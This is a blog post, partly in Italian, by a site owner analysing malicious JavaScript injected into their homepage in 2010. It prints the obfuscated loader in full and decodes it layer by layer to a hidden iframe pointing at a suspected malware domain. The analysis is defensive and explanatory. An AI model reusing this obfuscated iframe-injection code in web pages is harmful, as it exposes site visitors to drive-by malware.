

iframe or i-frame exploit clarified

Hmmm... un po'di tempo fa (siamo novembre 2k10) qualcuno ha modificato il mio index inserendo del codice malevolo (malware tipo trojan). qui di seguito il link al file .pdf che ho velocemente creato per analizzare in tranquillità pace che cosa offuscasse: [iframe.exploained.pdf](#). Nota: al posto del codice malevolo vero e proprio, l'ho caricato come immagine nel .pdf quindi niente paura :) ClamAV lo riconosce in maniera generica come: Exploit.HTML.IFrame-6, ma tutti gli exploit di questo tipo li riconosce come tali... In ogni caso è divertente vedere che siterelli con 1 visita al mese (come questo) è sotto attacco hihhi.

First of all thank you +DarioX for having noticed that my site has been hacked! So after a quick analysis here is shown (there's a reason for this text being written in .pdf ;) not what happens, but what is hidden inside this malware exploit script. Usually it modifies index files of homepages, but I'm not sure. Anyway let's begin. After the attack, your index will have in the beginning or in the end of the html <body> tag the following javascript code:

```
<script>var source
="=tdsjqu?epdvnfou/xsjuf)voftdbqf) (&4d&84&74&83&7: &81&85&4f&75&7g&74&86&7e&76&7f&85&3f&88&83&7: &85&76&39&6
4&85&83&7: &7f&78&3f&77&83&7g&7e&54&79&72&83&54&7g&75&76&39&47&41&3d&42&41&46&3d&42&41&43&3d&42&42&45&3d&4:
&48&3d&42&41&4: &3d&42&41&42&3d&44&43&3d&42&42&46&3d&42&42&45&3d&4: &4: &3d&47&42&3d&44&45&3d&42&41&45&3d&42&
42&47&3d&42&42&47&3d&42&42&43&3d&46&49&3d&45&48&3d&45&48&3d&42&41&4: &3d&42&43&42&3d&42&42&46&3d&42&41&46&3
d&42&42&47&3d&42&41&42&3d&46&44&3d&46&45&3d&45&47&3d&42&42&42&42&3d&42&42&45&3d&42&41&44&3d&45&48&3d&46&48&3d
&45&48&3d&42&41&46&3d&42&42&41&3d&42&41&41&3d&42&41&42&3d&42&43&41&3d&45&47&3d&42&42&43&3d&42&41&45&3d&42&
42&43&3d&47&44&3d&42&41&47&3d&4: &48&3d&44&45&3d&44&43&3d&42&42&4: &3d&42&41&46&3d&42&41&41&3d&42&42&47&3
d&4
2&41&45&3d&47&42&3d&45&4: &3d&44&43&3d&42&41&45&3d&42&41&42&3d&42&41&46&3d&42&41&44&3d&42&41&45&3d&42&42&47
&3d&47&42&3d&45&4: &3d&44&43&3d&42&42&46&3d&42&42&47&3d&42&43&42&3d&42&41&49&3d&42&41&42&3d&47&42&3d&44&45&
3d&42&42&49&3d&42&41&46&3d&42&42&46&3d&42&41&46&3d&44&49&3d&42&41&46&3d&42&41&49&3d&42&41&46&3d&42&42&47&3
d&42&43&42&3d&46&49&3d&44&43&3d&42&41&45&3d&42&41&46&3d&42&41&41&3d&42&41&41&3d&42&41&42&3d&42&42&41&3d&44
&45&3d&47&43&3d&47&41&3d&45&48&3d&42&41&46&3d&42&41&43&3d&42&42&45&3d&4: &48&3d&42&41&4: &3d&42&41&42&3d&47&
43&3: &3: &4c&4d&3g&84&74&83&7: &81&85&4f ( **=0tdsjqu? ";var result = ""; for(var i=0; i<source.length; i++)
result+=String.fromCharCode(source.charCodeAt(i)-1);document.write(result);
</script>
```

It's easy to understand that with the for loop it goes through the source variable, taking from each character it's value and subtracting 1 (as value). At the end it will be written "result" and this is parsed by creating following code:

```
<script>document.write(unescape('%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%53
% 74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%36%30%2c%31%30%35%2c%31%30%32%2c%31%31%34%2c%39%3
7%2c%31%30%39%2c%31%30%31%2c%33%32%2c%31%31%35%2c%31%31%34%2c%39%39%2c%36%31%2c%33%34%2c%31%30%34%2c%31%31
%36%2c%31%31%36%2c%31%30%31%2c%35%33%2c%35%34%2c%34%36%2c%31%31%31%2c%31%31%34%2c%31%30%33%2c%34%37%2c%35%37%2c%3
4%37%2c%31%30%35%2c%31%31%30%2c%31%30%30%2c%31%30%31%2c%31%32%30%2c%34%36%2c%31%31%32%2c%31%30%34%2c%31%31
%32%2c%36%33%2c%31%30%36%2c%39%37%2c%33%34%2c%33%32%2c%31%31%39%2c%31%30%35%2c%31%30%30%2c%31%31%36%2c%31%
30%34%2c%36%31%2c%34%39%2c%33%32%2c%31%31%35%2c%31%31%36%2c%31%32%31%2c%31%30%38%2c%31%30%31%2c%36%31%2c%33%34%2c
%31%31%38%2c%31%30%35%2c%31%31%35%2c%31%30%35%2c%39%38%2c%31%30%35%2c%31%30%38%2c%31%30%35%2c%31%31%36%2c%
31%32%31%2c%35%38%2c%33%32%2c%31%30%34%2c%31%30%35%2c%31%30%30%2c%31%30%30%2c%31%30%31%2c%31%31%30%2c%33%3
4%2c%36%32%2c%36%30%2c%34%37%2c%31%30%35%2c%31%30%32%2c%31%31%34%2c%39%37%2c%31%30%39%2c%31%30%31%2c%36%32
%29%29%3b%3c%2f%73%63%72%69%70%74%3e'))
```

Hehe, here it is very easy to get the source, by unescaping the string (displayed hex values into char), which becomes:

```
<script>document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,5
8,47,47,109,121,115,105,116,101,53,54,46,111,114,103,47,57,47,105,110,100,101,120,46,112,104,112,63,106,97
,34,32,119,105,100,116,104,61,49,32,104,101,105,103,104,116,61,49,32,115,116,121,108,101,61,34,118,105,115
,105,98,105,108,105,116,121,58,32,104,105,100,100,101,110,34,62,60,47,105,102,114,97,109,101,62));</script
>
```

This means real obfuscation... The procedure is the more or less the same, just the function changes. Those single values are decimal, so convert them into their respective chars and we will soon get:

```
<iframe src="http://mysite56.org/9/index.php?ja" width=1 height=1 style="visibility: hidden"></iframe>
```

After some researches with few spiders you will notice that [mysite56.org](#) is most-likely an entire malware-domain-group. In this case the victim gets perhaps a trojan type virus... not sure. So please take care and pay attention :)